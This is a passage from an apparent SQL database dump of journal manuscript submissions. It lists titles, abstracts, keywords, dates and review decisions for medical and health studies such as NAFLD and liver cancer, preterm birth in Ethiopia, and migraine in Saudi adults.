coefficient) and QuickDASH questionnaire was self-administered by patients pre- and post-treatment. \r\nResults: 46 patients (66.1±1.1 years) completed the study. The mean correction for the metacarpophalangeal joint was -26.67 degrees (p<0.001) and -23.39 degrees for the proximal interphalangeal joint. The mean change in QuickDASH score was 8.88 (p<0.001) at a mean 34.6 day follow-up. The study showed a low correlation between the QuickDASH scores and the improvement in mobility, showing a weak relation between the scores (r <0.2).\r\nConclusion: In our study, QuickDASH questionnaire scores for the treatment of Dupuytren´s disease did not correlate with clinical outcomes.\r\n',' Dupuytren\'s disease, health related quality life, patient reported outcome measures, QuickDASH, evaluation questionnaire.',2890,NULL,'2019-11-06',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2896,3761,86,0,'ipaom-19-2896','Metabolic, environmental and genetic connection between Hepatocellular carcinoma and Non-alcoholic fatty liver disease.',NULL,15,0,NULL,'most common cause of cancer related deaths worldwide. Recent evidences suggest that the non-alcoholic fatty liver disease (NAFLD) can be a possible risk factor for the development of HCC. Various mechanisms such as insulin resistance, oxidative stress, steatosis, and imbalances in interplay of adipokine or cytosine are responsible for pathogenesis and progression of NAFLD and could have a deterministic role in the pathway of liver cancer as it promotes growth of cells and DNA damage.Potential mediators responsible for obesity linked HCC includes dysregulation of anti-inflammatory or pro-inflammatory cytokines especially the increased leptin or reduced adiponectin, lipotoxicity, and hyperinsulinemia. Prevalence of NAFLD among type 2 DM patients is significantly higher and they are at more risk of developing cancers. Both type 2 DM and obesity have significantly positive association with risk of HCC by the different systematic reviews. One among the numerous challenges in managing NAFLD is the lack of effective treatments. All patients with HCC risk factors require surveillance. However, there have not been any surveillance protocols for NAFLD patiens. In depth understanding of pathways involved in NAFLD associated HCC is required. The aim of this article is to review the metabolic, environmental and genetic connection between Hepatocellular carcinoma and Non-alcoholic fatty liver disease and to explain the pathological mechanisms that may lead to the development of liver cancer.',' NAFLD, steatohepatitis, HCC, obesity, carcinogenesis',2890,NULL,'2019-11-08',NULL,'Submitted',4,NULL,'2019-11-15',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2897,3761,86,0,'ipaom-19-2897','How can fatty liver lead to liver cancer and how can we simply assess it?',NULL,15,0,NULL,'In 2016, more than 1.9 billion adult populations were overweight, 650 million of them were obese, which represents around 13% of the world\'s adult population. Liver steatosis has become the most common chronic liver disease in developed countries. In most cases, non-alcoholic fatty liver disease (NAFLD) is a benign and reversible liver disorder. Under certain circumstances, the disease may result through the image of non-alcoholic steatohepatitis (NASH) and hepatic fibrosis to liver cirrhosis with all known negative consequences, until formation of hepatocellular carcinoma (HCC). The pathogenesis of NAFLD and metabolic syndrome seems to have common pathophysiological mechanisms. Although liver biopsy remains the gold standard for NAFLD diagnosis, it seems that new diagnostic procedures and scoring systems are emerging that could non-invasively distinguish simple steatosis from NASH. A higher number of metabolic syndrome risk factors have been registered in patients with steatohepatitic HCC variant. HCC patients with clinical symptoms have a very poor prognosis (median 5-year overall survival is between 0-10%); on the other hand, patients with asymptomatic HCC detected by screening show a higher survival rate, with a total 5-year survival of more than 50 % due to radical treatment. Simple and unassuming diagnostic methods can be used in a wide range of patients, thus systematically preventing the development of diseases and related disorders. Early diagnosis and risk stratification are essential for effective treatment management.','NAFLD, steatohepatitis, liver cancer, elastography, obesity',2890,NULL,'2019-11-08',NULL,'Submitted',4,NULL,'2019-11-15',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2898,3763,45,0,NULL,'How can fatty liver lead to liver cancer and how can We simply assess it ?',NULL,15,0,NULL,'In 2016, more than 1.9 billion adult populations were overweight, 650 million of them were obese, which represents around 13% of the world\'s adult population. Liver steatosis has become the most common chronic liver disease in developed countries. In most cases, non-alcoholic fatty liver disease (NAFLD) is a benign and reversible liver disorder. Under certain circumstances, the disease may result through the image of non-alcoholic steatohepatitis (NASH) and hepatic fibrosis to liver cirrhosis with all known negative consequences, until formation of hepatocellular carcinoma (HCC). The pathogenesis of NAFLD and metabolic syndrome seems to have common pathophysiological mechanisms. Although liver biopsy remains the gold standard for NAFLD diagnosis, it seems that new diagnostic procedures and scoring systems are emerging that could non-invasively distinguish simple steatosis from NASH. A higher number of metabolic syndrome risk factors have been registered in patients with steatohepatitic HCC variant. HCC patients with clinical symptoms have a very poor prognosis (median 5-year overall survival is between 0-10%); on the other hand, patients with asymptomatic HCC detected by screening show a higher survival rate, with a total 5-year survival of more than 50 % due to radical treatment. Simple and unassuming diagnostic methods can be used in a wide range of patients, thus systematically preventing the development of diseases and related disorders. Early diagnosis and risk stratification are essential for effective treatment management.',' NAFLD, steatohepatitis, liver cancer, elastography, obesity',643,NULL,'2019-11-08',NULL,'Submitted',4,NULL,'2019-11-08',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2899,3763,45,0,NULL,'Metabolic, environmental and genetic connection between Hepatocellular carcinoma and Non-alcoholic fatty liver disease and its application for development of novel diagnostic and therapeutic tools.',NULL,15,0,NULL,'Hepatocellular carcinoma is considered to be fourth most common cause of cancer and third most common cause of cancer related deaths worldwide. Recent evidences suggest that the non-alcoholic fatty liver disease (NAFLD) can be a possible risk factor for the development of HCC. Various mechanisms such as insulin resistance, oxidative stress, steatosis, and imbalances in interplay of adipokine or cytosine are responsible for pathogenesis and progression of NAFLD and could have a deterministic role in the pathway of liver cancer as it promotes growth of cells and DNA damage.Potential mediators responsible for obesity linked HCC includes dysregulation of anti-inflammatory or pro-inflammatory cytokines especially the increased leptin or reduced adiponectin, lipotoxicity, and hyperinsulinemia. Prevalence of NAFLD among type 2 DM patients is significantly higher and they are at more risk of developing cancers. Both type 2 DM and obesity have significantly positive association with risk of HCC by the different systematic reviews. One among the numerous challenges in managing NAFLD is the lack of effective treatments. All patients with HCC risk factors require surveillance. However, there have not been any surveillance protocols for NAFLD patiens. In depth understanding of pathways involved in NAFLD associated HCC is required. The aim of this article is to review the metabolic, environmental and genetic connection between Hepatocellular carcinoma and Non-alcoholic fatty liver disease and to explain the pathological mechanisms that may lead to the development of liver cancer.','NAFLD, steatohepatitis, HCC, obesity, carcinogenesis',388,NULL,'2019-11-08',NULL,'Submitted',4,NULL,'2019-11-08',NULL,1,0,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2902,3767,91,0,'ijddr-19-2902','QUALITATIVE ANALYSIS OF THE BIOLOGICAL TESTING OF NOVEL TELOMERASE INHIBITORS 	 ',NULL,14,0,NULL,'Cancer is often referred to as being “immortal” because of high telomerase activity in these cells, which allows them to divide an infinite amount of times. BIBR 1532, (2-{[(2E)-3-(2-Naphthyl)-2-butenoyl]amino}benzoic acid) is a known telomerase inhibitor that has undergone preclinical trials for the treatment of cancer. Based on the structure of BIBR 1532, three novel N- cinnamoyl substituted anthranilic acid derivatives (2-{[(2E)-3-(4-“X”phenyl)-2-propenoyl]amino}benzoic acids), similar to BIBR 1532 were synthesized.  Their efficacies were tested against proliferative activity in metastatic prostate cancer cells, along with the known telomerase inhibitor BIBR1532. Telomerase Repeat Amplification Protocol (TRAP) assays were performed on the compounds to confirm their anti-telomerase activity. The results showed all three newly synthesized cinnamic derivatives have anti-proliferative qualities equivalent to or better than BIBR 1532 (p = 0.027) and overall all compounds were significantly lower than the control (p < 0.0001). TRAP assays further confirmed that the compounds also exhibited anti-telomerase activity similar to BIBR1532. The newly synthesized cinnamic acid derivatives of BIBR 1532 all showed anti-proliferative and anti-telomerase activity. While these compounds were all tested against metastatic prostate cancer cells, these potential treatments have application in all types of cancers demonstrating high telomerase activity. ','Telomerase inhibitors, cinnamic acid derivatives, BIBR1532, anthranilic acid derivatives and prostate cancer',2231,NULL,'2019-11-09',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','accept with revised file ',0,NULL,NULL,2,0,0,0,NULL,0),(2919,3800,326,0,'IPJUS-19-2919','DEMOGRAPHY, EPIDEMIOLOGY, CLINICAL PRESENTATIONS, DIAGNOSES AND MANAGEMENT OF VARIOUS ANORECTAL DISEASES: AN ARTICLE REVIEW ',NULL,15,0,NULL,'Anorectal conditions are among the common diseases causing significant patient discomfort and affecting their quality of life. Their prevalence is higher than that seen in clinical practice, as people seem to avoid seeking medical attention. Various anorectal disorders, their demographic profile, epidemiology, clinical presentations, diagnoses, and management have been emphasized by this review of 6 different articles. The articles are observational studies about patterns and presentations of various anorectal disorders, with study subjects ranging from 109 to 629 patients, published between 2015 to 2019. Five articles have been studied in India and one in Sudan. The data retrieved from each article is comparable to the previous existing studies, although certain variations and differences can be made out among them. The specific areas of focus include: age & sex distribution, predisposing factors, common presenting symptoms & clinical features, patterns of various anorectal disorders and management (surgical/conservative) and outcomes. Anorectal diseases commonly affects the age of 15 to 50 years, with male predominance. Common predisposing factors include mixed/non-vegetarian diet, low fibre diet, constipation, poor anal hygiene, pregnancy and lack of physical activity/exercise. Common anorectal symptoms include anal pain with bleeding per rectum, difficulty in passing stools, mass per anum and pruritus. Distribution of anorectal cases varies, with haemorrhoids being commonest and fissure-in-ano; followed by fistula-in-ano and pruritus ani. Majority of haemorrhoids are in 2nd or 3rd degree. Fissure-in-ano mostly occurs in posterior midline; commonly acute type. Surgery is the most definitive management for most perianal disorders with minimum recurrence.','Anorectal diseases; Fissure-in-ano; Haemorrhoids; Fistula-in-ano; Constipation',3103,NULL,'2019-11-13',NULL,'Submitted',2,NULL,'2020-01-21',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2926,3810,45,0,NULL,'Determinants of preterm birth in neonatal intensive care units at public hospitals in Sidama zone, South East Ethiopia; Case Control study',NULL,14,0,NULL,'Background: Preterm birth is defined by the World Health Organization as babies born before 37 completed weeks of gestation or fewer than 259 days since the first day of woman’s last menstrual period. Preterm birth is the first leading cause of neonatal mortality and the second leading cause for under-five mortality. \r\nMethod: Facility-based case control study was conducted from 1st Mar to 1st May, 2018 in Sidama zone public hospitals. A total of 280 samples(70 cases & 210 controls) were determined using a double population proportion formula and participants were selected using consecutive sampling for the cases and systematic random sampling for the controls. Data were entered into Epi info version 7 and analyzed using SPSS version 23. Both bivariate and multivariable logistic regression model was used to identify determinants of preterm birth and variables which have p-value of <0.05 at final model were declared as statistically significant.\r\nResult: History of preterm birth (AOR: 4.19; 95%CI: 1.69-10.4), history of still birth (AOR:3.66; 95% CI:1.389-9.65), pregnancy induced hypertension (AOR:6.73;95%CI:2.69-16.85), premature rupture of membrane (AOR:6.92;95%CI:3.07-15.64, antepartum hemorrhage(AOR:5.52;95% CI:2.05-14.8), maternal nutrition (AOR:6.26;95%CI:2.32-16.87], sexually transmitted infection (AOR:2.42;95%CI:1.01-5.79) and standing for a long period of time (AOR:2.53;95% CI:1.2-5.35) were independent determinants of preterm birth.\r\nConclusion: The multivariable analysis indicate that antepartum hemorrhage, pregnancy induced hypertension, history of preterm birth, history of still birth, premature rupture of membrane, sexually transmitted infection, nutritional status and standing for long time were identified as determinants of preterm birth. ',' Preterm birth; Determinants; Case Control; Sidama zone, Hospital',295,NULL,'2019-11-14',NULL,'Submitted',4,NULL,'2019-12-02',NULL,1,0,'0',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(2930,3816,45,0,NULL,'A Cross-sectional Study on the Healthy and Nutritionally Balanced Vegetarian  Mid-Day Meal for Universal Acceptance: An Overview ',NULL,16,0,NULL,'Food is the basic necessity of all living beings. We humans are evolved from Homo habilis and Homo erectus. Early humans totally depended on locally available seeds, grains, nuts, fruits, vegetables and flesh of other animals for their survival. To be forthright, humans as Homo sapiens are actually omnivores and not herbivores or carnivores purely. But, over a long period of time, people have chosen for their longevity through several healthy living practices such as going for a walk every-day, doing exercise, practicing yoga most importantly the preferences for “Vegetarian Meals”. ',' Vegetarian Meal \r\nBalanced Mid Day Meal\r\nHealth and Nutrition\r\nUniversal Acceptance\r\n\r\n',2879,NULL,'2019-11-15',NULL,'Submitted',4,NULL,'2019-12-03',NULL,1,0,'0',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(2932,3818,45,0,'iphsj-23-2932','A Comparative Study on Nutritional States and Anemia among Women at Reproductive Age in Pastoralist and Agro-Pastoral Setting of Ethiopian Somali Region',NULL,14,3,NULL,'Background: In Ethiopia, anemia prevalence among women age 15-49 increased to 24% in 2016 from 17% in 2011. Where the highest burden has been observed in Somali region, 60% of the women were anemic in 2016. This study was aimed at assessing the prevalence and associated factors of anemia among women of reproductive agein Fafan zone, Somali regional state of Ethiopia.\r\nMethods: The community based cross sectional study using simple random sampling was conducted in Nov 2014 –Jun 2015.Interview using pretested structured questionnaire as well as measurement of hemoglobin level and nutritional characteristics were used. Binary logistic regression were used to determine associated factors of anemia.\r\nResults: Prevalence of anemia is 65.2% (95%CI: 60.35, 69.91) out of 400 participants included in the study, where 33.2%, 28.25% and 3.75% were mildly, moderately and severely anemic respectively. Pastoral community (AOR=19.03, 95%CI: 6.59, 54.95),normal body weight (AOR=0.21, 95%CI: 0.10, 0.41) and using any kind of toilet (AOR=0.39, 95%CI: 0.18, 0.82) were significantly associated with anemia status at 5% level of significance.\r\nConclusion: Anemia is a major public health problem in the study area. More efforts should be applied on pastoralist in order to reduce the burden of anemia.\r\n',' anemia, prevalence, associated factors, women, pastoralist, agro-pastoralist, Somali, Ethiopia',2879,NULL,'2019-11-15',NULL,'Submitted',14,NULL,'2023-08-07',NULL,1,1,'0','great',0,NULL,NULL,2,0,0,0,NULL,0),(2933,3819,251,0,'ipacm-19-2933','A purple urine bag syndrome in a CKD patient',NULL,2,0,NULL,'Purple urine bag syndrome is a rare disorder, in which the plastic disposable urinary catheter bag turns purple or blue following hours or days of urinary catheterization. This investigation reports the case of a 58 years woman was previously diagnosed with CKD resulting from diabetic nephropathy and also had a positive history of hypertension who presented with purple urine bag syndrome','Purple Urine Bag, CKD, Heamodialysis, Proteus mirabilis, UTI',780,NULL,'2019-11-15',NULL,'Submitted',2,NULL,'2019-12-10',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2934,3820,45,0,'iphsj-19-2934','Biomarkers for a pathological heart regulation in healthy individuals applying the novel physiological method of cardiorhythmogram analysis of healthy individuals for prevention of cardiovascular risks',NULL,14,0,NULL,'Statistical data all over the world show the cardiovascular risks belonging to the top ten of morbidity, although developing ongoing more and more modern treatment techniques. Therefore should be more invested in the research of prediction of structural heart diseases and arrhythmias, as well as in research of prophylactical measurements. A possible solution offers physiology. The aim of this study was to find out whether some pathological signs in a cardiorhythmogram of a (echocardiographically) healthy person even with high heart rate variability (HRV), can be defined as biomarkers for a pathological heart’s regulation. Its applicative value would be important for the primary prophylaxis of arrhythmias, some structural heart diseases and heart attack','novel method of cardiorhythmogram analysis, signs of pathological heart regulation',643,NULL,'2019-11-15',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2939,3829,639,0,'ipfs-19-2939','Aquaponics the way forward for sustainable development ',NULL,6,0,NULL,'Aquaponics also known as the integration of hydroponics with aquaculture is gaining high attention as a bio-integrated food production system. In this system, it works in arid, semi-arid where water and soil is scarce. It has low level of soil-borne disease chance. Present system, pesticide hasn’t used because it can affect on the fish and also to beneficial bacteria which growing on media. In this system fish wastes convert into less toxic or non-toxic substances and after that utilized by plant. On presence or absence of media it differentiated into 4 systems in which 1) Media filled system media has been placed into the root of plants, 2) Flood and drain system in which plant roots exposed to flowing nutrient medium for hours and it happens several times a day. 3) Nutrient film technique consist PVC pipes in which plant has been placed and its roots exposed to thin layer of nutrient medium. 4) Floating raft system plants grown on floating Styrofoam rafts small pots with plants place in holes of Styrofoam sheets. In aquaponic system different species of fish has been growing like Carps, Tilapia, Giant freshwater prawn, Trout, Ornamental fish, Channel catfish, Asian sea bass, etc. depending on availability of seed, better environmental condition and market price. For growing plants different herbs like basil, chives, cilantro; fruits like melons, tomatoes, papayas; leafy green vegetables like lady finger, Swiss chard, Chinese cabbage, corn; some species of flowers. Always choose plant species which can grow within 25 to 40 days and easily harvestable and generate every day income for growers. Stocking of fish and plant can decrease production, affect on water quality and high chances of disease. Reduce 90% of water use and waste of fish, supports locavorism and produces an organic food source. Needs constant monitoring big disadvantages. ',' Aquaponics, Tilapia, Sustainable aquaculture',1771,NULL,'2019-11-16',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','I recommend this article to publish in our journal.',0,NULL,NULL,NULL,0,0,0,NULL,0),(2943,3833,45,0,'iphsj-19-2943','Relationship Among Blood Boron Level, Diabetes Mellitus, Lipid Metabolism, Bone Metabolism and Obesity: Can Boron Be An Efficient Indicator for Metabolic Dissesases?',NULL,14,0,NULL,'This study targeted at investigating the possibility of association between blood boron (B) level and charbohydrate and lipid metabolisms and bone structuring metabolites and using B as an indicator of obesity and certain diseases as Diabetes Mellitus type II. 42 patients categorized under control, diabetic and obese diabetic groups of 14 subjects (7 male and 7 female) of different age volunteered in the study. Pronounced negative correlation was observed between serum B level and glucose level of female and male subjects in diabetic (r=-0.653; -0.567) and obese diabetic (r=-0.715; -0.748) and HbA1c levels in diabetic (r=-0.452; -0.367) and obese diabetic (r=-0.648; -0.542) groups but no meaningful relation could be established neither with insulin nor with HDL levels. Triglyceride values showed negative correlation in diabetic female (r=-0.483) and obese diabetic male (r=-0.612) groups and so did total cholesterol in diabetic (r=-0.412; -0.541) and obese diabetic (r=-0.578; -0.674) female and male subjects. Vitamin D levels in diabetic (r=0.350; 0.586) and obese diabetic (r=-0.241; 0.453) female and male subjects showed positive correlation. Findings indicated that B level can be a good indicator of diseases related with carbohydrate, lipid and bone metabolisms. ',' ',643,NULL,'2019-11-16',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2945,3836,45,0,NULL,'EFFECTIVENESS OF TELE REHABILITATION ON MANUAL DEXTERITY AND ITS IMPACT ON QUALITY OF LIFE IN PATIENTS WITH PARKINSON’S DISEASE -A PILOT STUDY',NULL,14,0,NULL,'BACKGROUND\r\nPatients with Parkinson\'s disease exhibit disturbed manual dexterity. This impairment leads to difficulties in activities of daily living, such as buttoning a shirt or hand-writing. Recent advances in telecommunication technologies have boosted the possibility to deliver rehabilitation via the internet (i.e. telerehabilitation). The aim of the present study was to investigate the effectiveness of Tele Rehabilitation to improve manual dexterity and its impact on quality of life in patients with Parkinson’s Disease.\r\nMETHOD \r\nThis study was based on Quasi-experimental design and Convenience sampling method was used in Older Adults with Parkinson’s disease of 60 to 80 yrs age. The sample size is 10 (n=10) Experimental group (Tele Rehabilitation) (n=5) and Control group (resistance training) (n=5). The study was conducted at home for the patients referred from SRM hospital and Research centre. Screening was done using UPDRS and MoCA. Outcome measures were analysed using Purdue peg board test, Chedoke Arm and Hand Activity Inventory(CAHAI-13), Parkinson’s Disease Questionaire-39(PDQ-39).\r\nRESULTS\r\nThe  results revealed that the experimental group has shown significant difference at 5% level  in all the metrics “Right, Left, Bi-manual, Assembly tasks of Purdue Peg Board test, CAHAI 13  and  PDQ39. But comparing between the experimental and control groups significant difference at 5% level  was observed only in bi manual task of Purdue Peg board test.\r\nCONCLUSION \r\nTask specific Tele rehabilitation-based dexterity program significantly improved fine motor skills in Parkinson\'s disease. Neuro TeleRehabilitation is considered as an alternative effective mode of service delivery connecting the people in need with health care practitioners by providing effective interventions  with minimal inconveniences.\r\n',' Tele Rehabilitation, Manual dexterity, Resistance, Parkinson Disease,Technology,Quality of Life',643,NULL,'2019-11-17',NULL,'Submitted',4,NULL,'2019-12-02',NULL,1,0,'1',NULL,0,NULL,NULL,3,0,0,0,NULL,0),(2950,3847,45,0,NULL,'Modification of endotracheal tube as nasopharyngeal airway',NULL,3,0,NULL,'Management of paediatric airway is a great challenge. The paediatric airway is substantially different, anatomically and physiologically, from the adult airway. Any obstruction in the airway leads to rapid desaturation in infants and small children. Oral and nasopharyngeal airways of appropriate size can be used to overcome obstruction when it is above the level of larynx. Sometimes non availability of paediatric size can be a difficult scenario in case of emergency. We present a case of 4 years old child who underwent adenotonsillectomy and developed postoperative stridor and macroglossia. Modified endotracheal tube was successfully used to keep the airway patent.\r\n',' adenotonsillectomy 4 years child nasopharyngeal airway endotracheal tube',295,NULL,'2019-11-18',NULL,'Submitted',4,NULL,'2019-12-03',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(2971,3589,91,0,NULL,'PEG-PLA bio-instinct drug carrier: Trigger the formative size distribution and potential role in site specific therapy',NULL,15,2,NULL,'An era of innovative nanotechnology, amphiphilic block polymeric drug vehicle claims the significant role in modern platforms like cancer therapy and diagnosis for sites specific tumor cells. Through this investigation of drug carrier like synthesis of amphiphilic PEG-PLA, gets more priority for its favorable physicochemical characteristics including steric stability, flexible size, modifiable surface and high encapsulation etc. Furthermore, PEG-PLA improves phagocytes, prolongs systemic circulation of drugs, improves cellular uptake and prevents normal cellular cytotoxicity. Therefore it is safe and efficacious in targeted therapy. It can mimic the natural components of the body which causes the versatile intellect like potential drug delivery and P-gp inhibition. Consequently, it diminish the toxicity of drugs and trigger the drugs to reach the destination without interfere of normal cells. In recent innovations, there has been increasing both the synthesis of PEG-PLA copolymer and its modifications which have been investing characteritics, formulation, drug release profile and prospective pharmaceutical application extensively. In our review, we will reflected the current innovation and prominent evaluation of drugs with PEG-PLA polymeric designs. Also, clarify the admissible technical contribution and benefits of this literature. It has provided the noticeable features of each assemble of PEG-PLA nano-formulation. This snap view has established the great impact and figure out the new insights of PEG-PLA drug delivery system which would be helpful in further research.','PEG-PLA, Block copolymer, Characteristics, Particles size, Surface modification, Different methods, Nano formulation, Application',2474,NULL,'2019-11-22',NULL,'Submitted',12,NULL,'2019-12-06',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(2988,3898,73,0,'ipjnn-19-2988','Migraine in adult Saudi population: Exploring common predictors, symptoms and its impact on quality of life',NULL,14,0,NULL,'ABSTRACT \r\nPurpose of study: Migraine is the commonest type of headache, affecting 12% Saudi population. Disparities in presenting symptoms and predictors lead to improper diagnosis and treatment of this condition having a negative impact on quality of life. The main objective is to explore the common predictors and symptoms of migraine affecting adult Saudi population and to assess its influence on their quality of life.\r\nMethods: A cross sectional study were conducted on 500 subjects suffering from migraine, aged between 18-55 years. A self-administered questionnaire was used to assess the objectives, comprising demographic data, symptoms and predictors related to migraine and the effect of migraine on the quality of life. Data was collected from students of different colleges, males and females from shopping malls and parks etc. representing general Saudi population. The data was analyzed by SPSS version 21; Chi-square test was applied for comparison and Pearson\'s correlation assessed to evaluate impact on quality of life. \r\nResults:  Majority of participants were females, aged between 18-35 years, belonging to higher income group and with higher education level. The associated symptoms included vertigo in 74.4% subjects followed by nausea (67.9%). The predictors were chiefly lack of sleep, exam stress and hunger in 88%, 67.2% and 68.5% subjects respectively. A positive correlation was found between severity of symptoms and worsening of quality of life (p value <0.04). \r\nConclusion: Severity of symptoms were accompanied by poor quality of life in terms of social and professional aspects. There was a lack of awareness in majority of subjects about migraine leading to underdiagnoses, under treatment and with high use of over the counter medications. There is a need for proper awareness campaigns in Saudi population. \r\n',' Migraine     symptoms       predictors     aura     quality of life',329,NULL,'2019-11-26',NULL,'Submitted',2,NULL,'2020-03-05',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2997,3889,277,0,'ipadm-19-2997','Amiodarona y su papel en la disfunción tiroidea: La importancia del conocimiento y seguimiento. ',NULL,5,0,NULL,'La  amiodarona (AMD) es un fármaco antiarrítmico de clase III ampliamente utilizado en la práctica clínica  por su seguridad y efectividad para el tratamiento de arritmias cardíacas graves tales como fibrilación y taquicardias ventriculares. Otras indicaciones incluyen la fibrilación y el aleteo auricular, la insuficiencia cardíaca congestiva grave, la prevención de la fibrilación auricular recurrente y situaciones de emergencia médica como la prevención de muerte súbita cardíaca. Se distribuye de forma amplia hacia diversos tejidos (adiposo, parénquima pulmonar, tejido renal y esquelético, entre otros); no obstante, el de mayor relevancia al momento de establecer los efectos adversos, es el tejido tiroideo. Los efectos adversos de la AMD sobre la función tiroidea son complejos y pueden ser el resultado de su parecido estructural a las hormonas tiroideas y de su alto contenido de yodo. La AMD induce disfunción tiroidea (DT) actuando por medio de diferentes mecanismos, bien sea por un efecto dado en relación al eje hipófisis-tiroides, por citotoxicidad tiroidea o por efecto autoinmune en la tiroides. La DT provocada por la AMD se puede manifestar en forma tanto de hipotiroidismo como de tirotoxicosis, pudiendo aparecer de forma temprana desde semanas hasta meses posteriores al inicio del tratamiento. Es sumamente esencial realizar una evaluación cuidadosa y detallada de los pacientes antes de iniciar tratamiento y establecer ciertas pautas tales como la realización de una adecuada semiología tiroidea, la determinación de los valores basales de TSH, T4 libre, T3,  anti-TPO y hacer una ecografía de tiroides. Una vez descartada una DT y/o la presencia de bocio nodular e iniciado el tratamiento, se debe realizar un control hormonal con la medición de los niveles séricos de TSH, T4 libre y T3 después de 3 meses de terapia y, posteriormente cada 6 meses. La continuidad del seguimiento de la función tiroidea se debe realizar al menos durante 2-3 años. Hoy por hoy, muchos médicos desconocen los potenciales efectos adversos que ejerce la amiodarona sobre la glándula tiroides; y desafortunadamente, hay otros que aun conociéndolos no realizan una evaluación adecuada de la función tiroidea, ni seguimiento alguno, lo cual se traduce en el mal control de la misma, permitiendo así un proceso evolutivo que puede apuntar a tirotoxicosis o a un hipotiroidismo manifiesto; ambos capaces de producir consecuencias graves en los pacientes. Por consiguiente,  es importante conocer la relación amiodarona-tiroides.','Amiodarona, disfunción tiroidea, tiroides, tirotoxicosis, hipotiroidismo, yodo, hormonas tiroideas.',2805,NULL,'2019-11-28',NULL,'Submitted',2,NULL,'2020-01-07',NULL,1,1,'0','Editorial is accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3011,3933,959,0,'ipacr-19-3011','KNOWLEDGE, ATTITUDE, AND PRACTICE REGARDING PREVENTION AND SCREENING OF BREAST CANCER AMONG REPRODUCTIVE AGE WOMEN',NULL,14,0,NULL,'Background: To assess the knowledge, attitude, and practice regarding prevention and screening of breast cancer among reproductive-age women.\r\nMethods: A descriptive cross-sectional study was carried out in 110 women aged 15 – 45 years old. 5- point Likert scale and interview schedule was performed with the help of structured and semi-structured questionnaire to collect data. Finally, collected data are analyzed by using the descriptive statistical method. \r\nFindings: Majority of the respondents i.e. 71.8% had heard about breast cancer. 42.7% responded that fitness could be the best preventive measure with a mean value of 2.21. A large number of participant\'s i.e.76.36% strongly agreed about development from breast cells and 49.1% reacts surgery is only the treatment option for breast cancer. 46.4% of them agreed that breast self-examination (BSE) is a necessary tool for early detection of breast cancer.\r\nConclusion: The knowledge regarding breast cancer screening and prevention should be spread worldwide which helps to decrease the incidence and could save the lives of many women.','Attitude; Breast cancer; Knowledge; Practice; Prevention & Screening, Reproductive age women',3142,NULL,'2019-11-30',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','Manuscript is revised and accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3021,3949,45,0,NULL,'Prevalence and Associated Factors of Low Birth Weight among Newborn Babies in Dessie Town Health Institutions, Amhara Region, Ethiopia',NULL,14,0,NULL,'Abstract:\r\nBackground:-Globally, more than 20 million infants are born with Low Birth Weight. Africa has a reported incidence of14.3 %.Children born with low birth weight. It is clear that low birth weight represents a heavy burden forhealthcare services in all nations. \r\nObjective:This study aimed to assess the prevalence and associated factors of low birth weight among newborn babies in Dessie town health institutions, Amhara region, Ethiopia. \r\nMethods:Institutional based cross-sectional study design was employed among 369 mothers of new born babies from March 1 to April 15, 2017 study subjects selected by simple random sampling method.  Self-administered questionnaire and interview guide were used to collect data. Data was coded and entered into EPI data software version 7.0 and exported in to SPSS version 20 for analysis. \r\nResult: Data were collected from 358 mothers who had newborn babies with 97% response rate. In this study, the prevalence of LBW was 15.6%. Residing in rural area AOR: 3.98, 95% CI, (1.60, 9.8), ANC follow up AOR: 4.8, 95% CI (1.20, 19.16), gestational age AOR: 4.25, 95% CI (1.66, 10.89), AOR: 3.07, 95% CI (1.05, 8.96) were found to be predictor of low birth weight.\r\nConclusion and Recommendation: The prevalence of low birth weight in this study was (15.6%) high, so it is recommended for health care providers in Dessie town health institutions to put more emphasis on ANC to ensure risk of LBW is detected early and management.\r\nKeywords:  low birth weight, associated factors, Dessie town, North East Ethiopia\r\n',' Keywords:  low birth weight, associated factors, Dessie town, North East Ethiopia\r\n',685,NULL,'2019-12-03',NULL,'Submitted',4,NULL,'2019-12-31',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3026,3957,45,0,'iphsj-19-3026','Statistical model for detecting Probability of Severity Level of Hemophilia A',NULL,14,0,NULL,'Hemophilia (both A and B) is categorized based on the clotting factor (factor VIII - F8 and factor IX - F9) respectively. Clotting factor tests that are also called the ‘factor assays’ are necessary in order to diagnose a bleeding disorder which is eventually named Hemophilia. The type and severity level of this disease is very important in order to create the best treatment plan for the suffering and affected individuals. Objectives of this study are to estimate a statistical model that will predict the probability of any individuals’ severity level (Mild, Moderate, Severe, Normal) having Hemophilia A even though both types of hemophilia has total 4 levels of severity including Hemophilia B. Our focus was to predict the probability of severity level of Hemophilia A based on the Race and Inhibitor history as the risk factor to predict the severity level of the disease.',' Hemophilia A, F8, F9, Mutation, Mechanism, Inhibitor, Cumulative Logistic, Mosaic Plot',686,NULL,'2019-12-04',NULL,'Submitted',4,NULL,'2020-02-25',NULL,1,1,'0',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3033,3970,45,0,'iphsj-19-3033','Prevalence of the Obesity among Intermediary School Students in Al Leith Saudi Arabia, 2018.',NULL,14,0,NULL,'This is school based cross sectional descriptive study was conducted among intermediary school students to assess the obesity and associated factors. All intermediary 